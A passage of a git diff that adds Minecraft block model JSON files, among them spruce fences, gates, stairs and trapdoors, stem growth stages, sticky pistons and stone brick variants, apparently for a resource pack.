b/src/assets/minecraft/models/block/spruce_fence_gate.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_fence_gate", + "textures": { + "texture": "minecraft:block/spruce_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/spruce_fence_gate_open.json b/src/assets/minecraft/models/block/spruce_fence_gate_open.json new file mode 100644 index 00000000..e6308346 --- /dev/null +++ b/src/assets/minecraft/models/block/spruce_fence_gate_open.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_fence_gate_open", + "textures": { + "texture": "minecraft:block/spruce_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/spruce_fence_gate_wall.json b/src/assets/minecraft/models/block/spruce_fence_gate_wall.json new file mode 100644 index 00000000..05914db0 --- /dev/null +++ b/src/assets/minecraft/models/block/spruce_fence_gate_wall.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_fence_gate_wall", + "textures": { + "texture": "minecraft:block/spruce_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/spruce_fence_gate_wall_open.json b/src/assets/minecraft/models/block/spruce_fence_gate_wall_open.json new file mode 100644 index 00000000..08e41a5b --- /dev/null +++ b/src/assets/minecraft/models/block/spruce_fence_gate_wall_open.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_fence_gate_wall_open", + "textures": { + "texture": "minecraft:block/spruce_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/spruce_fence_inventory.json b/src/assets/minecraft/models/block/spruce_fence_inventory.json new file mode 100644 index 00000000..041d3d29 --- /dev/null +++ b/src/assets/minecraft/models/block/spruce_fence_inventory.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/fence_inventory", + "textures": { + "texture": "minecraft:block/spruce_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/spruce_fence_post.json b/src/assets/minecraft/models/block/spruce_fence_post.json new file mode 100644 index 00000000..fb0f1dbd --- /dev/null +++ b/src/assets/minecraft/models/block/spruce_fence_post.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/fence_post", + "textures": { + "texture": "minecraft:block/spruce_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/spruce_fence_side.json b/src/assets/minecraft/models/block/spruce_fence_side.json new file mode 100644 index 00000000..3ad6ffc0 --- /dev/null +++ b/src/assets/minecraft/models/block/spruce_fence_side.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/fence_side", + "textures": { + "texture": "minecraft:block/spruce_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/spruce_leaves.json b/src/assets/minecraft/models/block/spruce_leaves.json new file mode 100644 index 00000000..fe8ae0dd --- /dev/null +++ b/src/assets/minecraft/models/block/spruce_leaves.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/leaves", + "textures": { + "all": "minecraft:block/spruce_leaves" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/spruce_log.json b/src/assets/minecraft/models/block/spruce_log.json new file mode 100644 index 00000000..85aa8907 --- /dev/null +++ b/src/assets/minecraft/models/block/spruce_log.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column", + "textures": { + "end": "minecraft:block/spruce_log_top", + "side": "minecraft:block/spruce_log" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/spruce_log_horizontal.json b/src/assets/minecraft/models/block/spruce_log_horizontal.json new file mode 100644 index 00000000..9a7e4aad --- /dev/null +++ b/src/assets/minecraft/models/block/spruce_log_horizontal.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column_horizontal", + "textures": { + "end": "minecraft:block/spruce_log_top", + "side": "minecraft:block/spruce_log" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/spruce_planks.json b/src/assets/minecraft/models/block/spruce_planks.json new file mode 100644 index 00000000..1345a140 --- /dev/null +++ b/src/assets/minecraft/models/block/spruce_planks.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/spruce_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/spruce_pressure_plate.json b/src/assets/minecraft/models/block/spruce_pressure_plate.json new file mode 100644 index 00000000..89e7400e --- /dev/null +++ b/src/assets/minecraft/models/block/spruce_pressure_plate.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/pressure_plate_up", + "textures": { + "texture": "minecraft:block/spruce_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/spruce_pressure_plate_down.json b/src/assets/minecraft/models/block/spruce_pressure_plate_down.json new file mode 100644 index 00000000..8fb289a8 --- /dev/null +++ b/src/assets/minecraft/models/block/spruce_pressure_plate_down.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/pressure_plate_down", + "textures": { + "texture": "minecraft:block/spruce_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/spruce_sapling.json b/src/assets/minecraft/models/block/spruce_sapling.json new file mode 100644 index 00000000..99c270a2 --- /dev/null +++ b/src/assets/minecraft/models/block/spruce_sapling.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/spruce_sapling" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/spruce_sign.json b/src/assets/minecraft/models/block/spruce_sign.json new file mode 100644 index 00000000..d4f03b2e --- /dev/null +++ b/src/assets/minecraft/models/block/spruce_sign.json @@ -0,0 +1,5 @@ +{ + "textures": { + "particle": "minecraft:block/spruce_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/spruce_slab.json b/src/assets/minecraft/models/block/spruce_slab.json new file mode 100644 index 00000000..abe07593 --- /dev/null +++ b/src/assets/minecraft/models/block/spruce_slab.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab", + "textures": { + "bottom": "minecraft:block/spruce_planks", + "top": "minecraft:block/spruce_planks", + "side": "minecraft:block/spruce_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/spruce_slab_top.json b/src/assets/minecraft/models/block/spruce_slab_top.json new file mode 100644 index 00000000..85557536 --- /dev/null +++ b/src/assets/minecraft/models/block/spruce_slab_top.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab_top", + "textures": { + "bottom": "minecraft:block/spruce_planks", + "top": "minecraft:block/spruce_planks", + "side": "minecraft:block/spruce_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/spruce_stairs.json b/src/assets/minecraft/models/block/spruce_stairs.json new file mode 100644 index 00000000..5a5b84c4 --- /dev/null +++ b/src/assets/minecraft/models/block/spruce_stairs.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/stairs", + "textures": { + "bottom": "minecraft:block/spruce_planks", + "top": "minecraft:block/spruce_planks", + "side": "minecraft:block/spruce_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/spruce_stairs_inner.json b/src/assets/minecraft/models/block/spruce_stairs_inner.json new file mode 100644 index 00000000..a57514d8 --- /dev/null +++ b/src/assets/minecraft/models/block/spruce_stairs_inner.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/inner_stairs", + "textures": { + "bottom": "minecraft:block/spruce_planks", + "top": "minecraft:block/spruce_planks", + "side": "minecraft:block/spruce_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/spruce_stairs_outer.json b/src/assets/minecraft/models/block/spruce_stairs_outer.json new file mode 100644 index 00000000..1518181f --- /dev/null +++ b/src/assets/minecraft/models/block/spruce_stairs_outer.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/outer_stairs", + "textures": { + "bottom": "minecraft:block/spruce_planks", + "top": "minecraft:block/spruce_planks", + "side": "minecraft:block/spruce_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/spruce_trapdoor_bottom.json b/src/assets/minecraft/models/block/spruce_trapdoor_bottom.json new file mode 100644 index 00000000..b5dacb63 --- /dev/null +++ b/src/assets/minecraft/models/block/spruce_trapdoor_bottom.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_orientable_trapdoor_bottom", + "textures": { + "texture": "minecraft:block/spruce_trapdoor" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/spruce_trapdoor_open.json b/src/assets/minecraft/models/block/spruce_trapdoor_open.json new file mode 100644 index 00000000..f8b61984 --- /dev/null +++ b/src/assets/minecraft/models/block/spruce_trapdoor_open.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_orientable_trapdoor_open", + "textures": { + "texture": "minecraft:block/spruce_trapdoor" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/spruce_trapdoor_top.json b/src/assets/minecraft/models/block/spruce_trapdoor_top.json new file mode 100644 index 00000000..11589722 --- /dev/null +++ b/src/assets/minecraft/models/block/spruce_trapdoor_top.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_orientable_trapdoor_top", + "textures": { + "texture": "minecraft:block/spruce_trapdoor" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/spruce_wood.json b/src/assets/minecraft/models/block/spruce_wood.json new file mode 100644 index 00000000..244a9d5a --- /dev/null +++ b/src/assets/minecraft/models/block/spruce_wood.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column", + "textures": { + "end": "minecraft:block/spruce_log", + "side": "minecraft:block/spruce_log" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/stairs.json b/src/assets/minecraft/models/block/stairs.json new file mode 100644 index 00000000..986ce9c6 --- /dev/null +++ b/src/assets/minecraft/models/block/stairs.json @@ -0,0 +1,45 @@ +{ "parent": "block/block", + "display": { + "gui": { + "rotation": [ 30, 135, 0 ], + "translation": [ 0, 0, 0], + "scale":[ 0.625, 0.625, 0.625 ] + }, + "head": { + "rotation": [ 0, -90, 0 ], + "translation": [ 0, 0, 0 ], + "scale": [ 1, 1, 1 ] + }, + "thirdperson_lefthand": { + "rotation": [ 75, -135, 0 ], + "translation": [ 0, 2.5, 0], + "scale": [ 0.375, 0.375, 0.375 ] + } + }, + "textures": { + "particle": "#side" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 8, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#bottom", "cullface": "down" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#top" }, + "north": { "uv": [ 0, 8, 16, 16 ], "texture": "#side", "cullface": "north" }, + "south": { "uv": [ 0, 8, 16, 16 ], "texture": "#side", "cullface": "south" }, + "west": { "uv": [ 0, 8, 16, 16 ], "texture": "#side", "cullface": "west" }, + "east": { "uv": [ 0, 8, 16, 16 ], "texture": "#side", "cullface": "east" } + } + }, + { "from": [ 8, 8, 0 ], + "to": [ 16, 16, 16 ], + "faces": { + "up": { "uv": [ 8, 0, 16, 16 ], "texture": "#top", "cullface": "up" }, + "north": { "uv": [ 0, 0, 8, 8 ], "texture": "#side", "cullface": "north" }, + "south": { "uv": [ 8, 0, 16, 8 ], "texture": "#side", "cullface": "south" }, + "west": { "uv": [ 0, 0, 16, 8 ], "texture": "#side" }, + "east": { "uv": [ 0, 0, 16, 8 ], "texture": "#side", "cullface": "east" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/stem_fruit.json b/src/assets/minecraft/models/block/stem_fruit.json new file mode 100644 index 00000000..86d59c66 --- /dev/null +++ b/src/assets/minecraft/models/block/stem_fruit.json @@ -0,0 +1,31 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "#stem" + }, + "elements": [ + { "from": [ 0, -1, 8 ], + "to": [ 16, 7, 8 ], + "rotation": { "origin": [ 8, 8, 8 ], "axis": "y", "angle": 45, "rescale": true }, + "faces": { + "north": { "uv": [ 0, 0, 16, 8 ], "texture": "#stem", "tintindex": 0 }, + "south": { "uv": [ 16, 0, 0, 8 ], "texture": "#stem", "tintindex": 0 } + } + }, + { "from": [ 8, -1, 0 ], + "to": [ 8, 7, 16 ], + "rotation": { "origin": [ 8, 8, 8 ], "axis": "y", "angle": 45, "rescale": true }, + "faces": { + "west": { "uv": [ 0, 0, 16, 8 ], "texture": "#stem", "tintindex": 0 }, + "east": { "uv": [ 16, 0, 0, 8 ], "texture": "#stem", "tintindex": 0 } + } + }, + { "from": [ 0, 0, 8 ], + "to": [ 9, 16, 8 ], + "faces": { + "north": { "uv": [ 9, 0, 0, 16 ], "texture": "#upperstem", "tintindex": 0 }, + "south": { "uv": [ 0, 0, 9, 16 ], "texture": "#upperstem", "tintindex": 0 } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/stem_growth0.json b/src/assets/minecraft/models/block/stem_growth0.json new file mode 100644 index 00000000..6e977315 --- /dev/null +++ b/src/assets/minecraft/models/block/stem_growth0.json @@ -0,0 +1,24 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "#stem" + }, + "elements": [ + { "from": [ 0, -1, 8 ], + "to": [ 16, 1, 8 ], + "rotation": { "origin": [ 8, 8, 8 ], "axis": "y", "angle": 45, "rescale": true }, + "faces": { + "north": { "uv": [ 0, 0, 16, 2 ], "texture": "#stem", "tintindex": 0 }, + "south": { "uv": [ 16, 0, 0, 2 ], "texture": "#stem", "tintindex": 0 } + } + }, + { "from": [ 8, -1, 0 ], + "to": [ 8, 1, 16 ], + "rotation": { "origin": [ 8, 8, 8 ], "axis": "y", "angle": 45, "rescale": true }, + "faces": { + "west": { "uv": [ 0, 0, 16, 2 ], "texture": "#stem", "tintindex": 0 }, + "east": { "uv": [ 16, 0, 0, 2 ], "texture": "#stem", "tintindex": 0 } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/stem_growth1.json b/src/assets/minecraft/models/block/stem_growth1.json new file mode 100644 index 00000000..ea97f754 --- /dev/null +++ b/src/assets/minecraft/models/block/stem_growth1.json @@ -0,0 +1,24 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "#stem" + }, + "elements": [ + { "from": [ 0, -1, 8 ], + "to": [ 16, 3, 8 ], + "rotation": { "origin": [ 8, 8, 8 ], "axis": "y", "angle": 45, "rescale": true }, + "faces": { + "north": { "uv": [ 0, 0, 16, 4 ], "texture": "#stem", "tintindex": 0 }, + "south": { "uv": [ 16, 0, 0, 4 ], "texture": "#stem", "tintindex": 0 } + } + }, + { "from": [ 8, -1, 0 ], + "to": [ 8, 3, 16 ], + "rotation": { "origin": [ 8, 8, 8 ], "axis": "y", "angle": 45, "rescale": true }, + "faces": { + "west": { "uv": [ 0, 0, 16, 4 ], "texture": "#stem", "tintindex": 0 }, + "east": { "uv": [ 16, 0, 0, 4 ], "texture": "#stem", "tintindex": 0 } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/stem_growth2.json b/src/assets/minecraft/models/block/stem_growth2.json new file mode 100644 index 00000000..4ab6f4c2 --- /dev/null +++ b/src/assets/minecraft/models/block/stem_growth2.json @@ -0,0 +1,24 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "#stem" + }, + "elements": [ + { "from": [ 0, -1, 8 ], + "to": [ 16, 5, 8 ], + "rotation": { "origin": [ 8, 8, 8 ], "axis": "y", "angle": 45, "rescale": true }, + "faces": { + "north": { "uv": [ 0, 0, 16, 6 ], "texture": "#stem", "tintindex": 0 }, + "south": { "uv": [ 16, 0, 0, 6 ], "texture": "#stem", "tintindex": 0 } + } + }, + { "from": [ 8, -1, 0 ], + "to": [ 8, 5, 16 ], + "rotation": { "origin": [ 8, 8, 8 ], "axis": "y", "angle": 45, "rescale": true }, + "faces": { + "west": { "uv": [ 0, 0, 16, 6 ], "texture": "#stem", "tintindex": 0 }, + "east": { "uv": [ 16, 0, 0, 6 ], "texture": "#stem", "tintindex": 0 } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/stem_growth3.json b/src/assets/minecraft/models/block/stem_growth3.json new file mode 100644 index 00000000..542a8205 --- /dev/null +++ b/src/assets/minecraft/models/block/stem_growth3.json @@ -0,0 +1,24 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "#stem" + }, + "elements": [ + { "from": [ 0, -1, 8 ], + "to": [ 16, 7, 8 ], + "rotation": { "origin": [ 8, 8, 8 ], "axis": "y", "angle": 45, "rescale": true }, + "faces": { + "north": { "uv": [ 0, 0, 16, 8 ], "texture": "#stem", "tintindex": 0 }, + "south": { "uv": [ 16, 0, 0, 8 ], "texture": "#stem", "tintindex": 0 } + } + }, + { "from": [ 8, -1, 0 ], + "to": [ 8, 7, 16 ], + "rotation": { "origin": [ 8, 8, 8 ], "axis": "y", "angle": 45, "rescale": true }, + "faces": { + "west": { "uv": [ 0, 0, 16, 8 ], "texture": "#stem", "tintindex": 0 }, + "east": { "uv": [ 16, 0, 0, 8 ], "texture": "#stem", "tintindex": 0 } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/stem_growth4.json b/src/assets/minecraft/models/block/stem_growth4.json new file mode 100644 index 00000000..77befceb --- /dev/null +++ b/src/assets/minecraft/models/block/stem_growth4.json @@ -0,0 +1,24 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "#stem" + }, + "elements": [ + { "from": [ 0, -1, 8 ], + "to": [ 16, 9, 8 ], + "rotation": { "origin": [ 8, 8, 8 ], "axis": "y", "angle": 45, "rescale": true }, + "faces": { + "north": { "uv": [ 0, 0, 16, 10 ], "texture": "#stem", "tintindex": 0 }, + "south": { "uv": [ 16, 0, 0, 10 ], "texture": "#stem", "tintindex": 0 } + } + }, + { "from": [ 8, -1, 0 ], + "to": [ 8, 9, 16 ], + "rotation": { "origin": [ 8, 8, 8 ], "axis": "y", "angle": 45, "rescale": true }, + "faces": { + "west": { "uv": [ 0, 0, 16, 10 ], "texture": "#stem", "tintindex": 0 }, + "east": { "uv": [ 16, 0, 0, 10 ], "texture": "#stem", "tintindex": 0 } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/stem_growth5.json b/src/assets/minecraft/models/block/stem_growth5.json new file mode 100644 index 00000000..678450e6 --- /dev/null +++ b/src/assets/minecraft/models/block/stem_growth5.json @@ -0,0 +1,24 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "#stem" + }, + "elements": [ + { "from": [ 0, -1, 8 ], + "to": [ 16, 11, 8 ], + "rotation": { "origin": [ 8, 8, 8 ], "axis": "y", "angle": 45, "rescale": true }, + "faces": { + "north": { "uv": [ 0, 0, 16, 12 ], "texture": "#stem", "tintindex": 0 }, + "south": { "uv": [ 16, 0, 0, 12 ], "texture": "#stem", "tintindex": 0 } + } + }, + { "from": [ 8, -1, 0 ], + "to": [ 8, 11, 16 ], + "rotation": { "origin": [ 8, 8, 8 ], "axis": "y", "angle": 45, "rescale": true }, + "faces": { + "west": { "uv": [ 0, 0, 16, 12 ], "texture": "#stem", "tintindex": 0 }, + "east": { "uv": [ 16, 0, 0, 12 ], "texture": "#stem", "tintindex": 0 } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/stem_growth6.json b/src/assets/minecraft/models/block/stem_growth6.json new file mode 100644 index 00000000..523974e2 --- /dev/null +++ b/src/assets/minecraft/models/block/stem_growth6.json @@ -0,0 +1,24 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "#stem" + }, + "elements": [ + { "from": [ 0, -1, 8 ], + "to": [ 16, 13, 8 ], + "rotation": { "origin": [ 8, 8, 8 ], "axis": "y", "angle": 45, "rescale": true }, + "faces": { + "north": { "uv": [ 0, 0, 16, 14 ], "texture": "#stem", "tintindex": 0 }, + "south": { "uv": [ 16, 0, 0, 14 ], "texture": "#stem", "tintindex": 0 } + } + }, + { "from": [ 8, -1, 0 ], + "to": [ 8, 13, 16 ], + "rotation": { "origin": [ 8, 8, 8 ], "axis": "y", "angle": 45, "rescale": true }, + "faces": { + "west": { "uv": [ 0, 0, 16, 14 ], "texture": "#stem", "tintindex": 0 }, + "east": { "uv": [ 16, 0, 0, 14 ], "texture": "#stem", "tintindex": 0 } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/stem_growth7.json b/src/assets/minecraft/models/block/stem_growth7.json new file mode 100644 index 00000000..bd4f9d18 --- /dev/null +++ b/src/assets/minecraft/models/block/stem_growth7.json @@ -0,0 +1,24 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "#stem" + }, + "elements": [ + { "from": [ 0, -1, 8 ], + "to": [ 16, 15, 8 ], + "rotation": { "origin": [ 8, 8, 8 ], "axis": "y", "angle": 45, "rescale": true }, + "faces": { + "north": { "uv": [ 0, 0, 16, 16 ], "texture": "#stem", "tintindex": 0 }, + "south": { "uv": [ 16, 0, 0, 16 ], "texture": "#stem", "tintindex": 0 } + } + }, + { "from": [ 8, -1, 0 ], + "to": [ 8, 15, 16 ], + "rotation": { "origin": [ 8, 8, 8 ], "axis": "y", "angle": 45, "rescale": true }, + "faces": { + "west": { "uv": [ 0, 0, 16, 16 ], "texture": "#stem", "tintindex": 0 }, + "east": { "uv": [ 16, 0, 0, 16 ], "texture": "#stem", "tintindex": 0 } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/sticky_piston.json b/src/assets/minecraft/models/block/sticky_piston.json new file mode 100644 index 00000000..aa3a5928 --- /dev/null +++ b/src/assets/minecraft/models/block/sticky_piston.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/template_piston", + "textures": { + "platform": "minecraft:block/piston_top_sticky", + "bottom": "minecraft:block/piston_bottom", + "side": "minecraft:block/piston_side" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/sticky_piston_inventory.json b/src/assets/minecraft/models/block/sticky_piston_inventory.json new file mode 100644 index 00000000..dc7de86c --- /dev/null +++ b/src/assets/minecraft/models/block/sticky_piston_inventory.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/cube_bottom_top", + "textures": { + "top": "minecraft:block/piston_top_sticky", + "bottom": "minecraft:block/piston_bottom", + "side": "minecraft:block/piston_side" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/stone.json b/src/assets/minecraft/models/block/stone.json new file mode 100644 index 00000000..1a2f6a79 --- /dev/null +++ b/src/assets/minecraft/models/block/stone.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/stone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/stone_brick_slab.json b/src/assets/minecraft/models/block/stone_brick_slab.json new file mode 100644 index 00000000..18ca6235 --- /dev/null +++ b/src/assets/minecraft/models/block/stone_brick_slab.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab", + "textures": { + "bottom": "minecraft:block/stone_bricks", + "top": "minecraft:block/stone_bricks", + "side": "minecraft:block/stone_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/stone_brick_slab_top.json b/src/assets/minecraft/models/block/stone_brick_slab_top.json new file mode 100644 index 00000000..6cdf7c63 --- /dev/null +++ b/src/assets/minecraft/models/block/stone_brick_slab_top.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab_top", + "textures": { + "bottom": "minecraft:block/stone_bricks", + "top": "minecraft:block/stone_bricks", + "side": "minecraft:block/stone_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/stone_brick_stairs.json b/src/assets/minecraft/models/block/stone_brick_stairs.json new file mode 100644 index 00000000..6698a9f0 --- /dev/null +++ b/src/assets/minecraft/models/block/stone_brick_stairs.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/stairs", + "textures": { + "bottom": "minecraft:block/stone_bricks", + "top": "minecraft:block/stone_bricks", + "side": "minecraft:block/stone_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/stone_brick_stairs_inner.json b/src/assets/minecraft/models/block/stone_brick_stairs_inner.json new file mode 100644 index 00000000..11a4f3bf --- /dev/null +++ b/src/assets/minecraft/models/block/stone_brick_stairs_inner.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/inner_stairs", + "textures": { + "bottom": "minecraft:block/stone_bricks", + "top": "minecraft:block/stone_bricks", + "side": "minecraft:block/stone_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/stone_brick_stairs_outer.json b/src/assets/minecraft/models/block/stone_brick_stairs_outer.json new file mode 100644 index 00000000..0cbfaf9c --- /dev/null +++ b/src/assets/minecraft/models/block/stone_brick_stairs_outer.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/outer_stairs", + "textures": { + "bottom": "minecraft:block/stone_bricks", + "top": "minecraft:block/stone_bricks", + "side": "minecraft:block/stone_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/stone_brick_wall_inventory.json b/src/assets/minecraft/models/block/stone_brick_wall_inventory.json new file mode 100644 index 00000000..b15051bc --- /dev/null +++ b/src/assets/minecraft/models/block/stone_brick_wall_inventory.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/wall_inventory", + "textures": { + "wall": "minecraft:block/stone_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/stone_brick_wall_post.json b/src/assets/minecraft/models/block/stone_brick_wall_post.json new file mode 100644 index 00000000..47ee222a --- /dev/null +++ b/src/assets/minecraft/models/block/stone_brick_wall_post.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_wall_post", + "textures": { + "wall": "minecraft:block/stone_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/stone_brick_wall_side.json b/src/assets/minecraft/models/block/stone_brick_wall_side.json new file mode 100644 index 00000000..86d914b4 --- /dev/null +++ b/src/assets/minecraft/models/block/stone_brick_wall_side.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_wall_side", + "textures": { + "wall": "minecraft:block/stone_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/stone_brick_wall_side_tall.json b/src/assets/minecraft/models/block/stone_brick_wall_side_tall.json new file mode 100644 index 00000000..6dd8aa44 --- /dev/null +++ b/src/assets/minecraft/models/block/stone_brick_wall_side_tall.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_wall_side_tall", + "textures": { + "wall": "minecraft:block/stone_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/stone_bricks.json b/src/assets/minecraft/models/block/stone_bricks.json new file mode 100644 index 00000000..87f6bbe0 --- /dev/null +++ b/src/assets/minecraft/models/block/stone_bricks.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/stone_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/stone_button.json b/src/assets/minecraft/models/block/stone_button.json new file mode 100644 index 00000000..42d1cc4d --- /dev/null +++ b/src/assets/minecraft/models/block/stone_button.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/button", + "textures": { + "texture": "minecraft:block/stone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/stone_button_inventory.json b/src/assets/minecraft/models/block/stone_button_inventory.json new file mode 100644 index 00000000..ffee63f2 --- /dev/null +++ b/src/assets/minecraft/models/block/stone_button_inventory.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/button_inventory", + "textures": { + "texture": "minecraft:block/stone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/stone_button_pressed.json b/src/assets/minecraft/models/block/stone_button_pressed.json new file mode 100644 index 00000000..4606dfa0 --- /dev/null +++ b/src/assets/minecraft/models/block/stone_button_pressed.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/button_pressed", + "textures": { + "texture": "minecraft:block/stone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/stone_mirrored.json b/src/assets/minecraft/models/block/stone_mirrored.json new file mode 100644 index 00000000..3cf2cb6d --- /dev/null +++ b/src/assets/minecraft/models/block/stone_mirrored.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_mirrored_all", + "textures": { + "all": "minecraft:block/stone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/stone_pressure_plate.json b/src/assets/minecraft/models/block/stone_pressure_plate.json new file mode 100644 index 00000000..98b53783 --- /dev/null +++ b/src/assets/minecraft/models/block/stone_pressure_plate.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/pressure_plate_up", + "textures": { + "texture": "minecraft:block/stone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/stone_pressure_plate_down.json b/src/assets/minecraft/models/block/stone_pressure_plate_down.json new file mode 100644 index 00000000..ff0d176c --- /dev/null +++ b/src/assets/minecraft/models/block/stone_pressure_plate_down.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/pressure_plate_down", + "textures": { + "texture": "minecraft:block/stone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/stone_slab.json b/src/assets/minecraft/models/block/stone_slab.json new file mode 100644 index 00000000..b15242ac --- /dev/null +++ b/src/assets/minecraft/models/block/stone_slab.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab", + "textures": { + "bottom": "minecraft:block/stone", + "top": "minecraft:block/stone", + "side": "minecraft:block/stone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/stone_slab_top.json b/src/assets/minecraft/models/block/stone_slab_top.json new file mode 100644 index 00000000..40c74aa9 --- /dev/null +++ b/src/assets/minecraft/models/block/stone_slab_top.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab_top", + "textures": { + "bottom": "minecraft:block/stone", + "top": "minecraft:block/stone", + "side": "minecraft:block/stone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/stone_stairs.json b/src/assets/minecraft/models/block/stone_stairs.json new file mode 